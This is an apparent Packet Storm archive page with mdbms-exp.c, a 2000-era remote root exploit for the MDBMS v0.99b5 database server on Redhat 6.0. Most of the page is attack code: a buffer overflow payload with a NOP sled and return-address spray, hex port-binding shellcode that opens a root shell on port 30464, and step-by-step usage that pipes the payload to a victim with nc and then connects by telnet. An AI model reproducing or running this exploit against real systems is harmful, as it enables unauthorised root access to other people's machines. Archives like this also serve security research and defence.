exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mdbms-exp.c

mdbms-exp.c
Posted Jun 2, 2000
Authored by Diab

MDBMS v0.99b5 remote root exploit - tested on Redhat 6.0. Shellcode runs an interactive shell on port 30464.

tags | exploit, remote, shell, root, shellcode
systems | linux, redhat
SHA-256 | a37ea7852b725a2b014dd84e51b418b4f973791e412512e52b44f2d86f61fd6c

mdbms-exp.c

Change Mirror Download
/*
* Since this has gone public, heres my version....
*
* Remote root MDBMS exploit for linux
* by diab <danmcl@kmail.com.au>
*
*
* Tested against MDBMS v0.99b5 on a Redhat 6.0 box
* To obtain MDBMS: http://linux.davecentral.com/892_dataclients.html
*
* Usage: Step 1: (./mdbms-exp offset ; cat) | nc victim 2223
* Step 2: telnet victim 30464 (should be in a interactive shell)
*
* *NOTE*: The MDBMS server crashes once the exploit is sent, so you
* really only have one chance until the admin restarts the
* server, which could be on the next reboot or whatever.
*/

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>

#define BUFLEN 1000
#define NOP 0x90
#define RET 0xbfffd278

/* port binding shellcode stolen from Taeho Oh's tutorial */
/* props to him 8) */
char shellcode[]=
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

int main (int argc, char *argv[])
{
char buf[BUFLEN];
int i, offset;
long addr;

if(argc>1) offset = atoi(argv[1]);
else
offset = 0;

addr = RET + offset;

for (i = 0; i < BUFLEN; i += 4)
*(long *) &buf[i] = addr;

for (i = 300; i < (BUFLEN - strlen (shellcode) - 100); i++)
*(buf + i) = NOP;

/* greets: #hpaus, #ozsecurity, #x25 */
fprintf(stderr,"\nUsing address 0x%lx\n\n", addr);
memcpy (buf + i, shellcode, strlen (shellcode));
sleep(1);
printf("\\h %s\r\n", buf);

return;
}
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close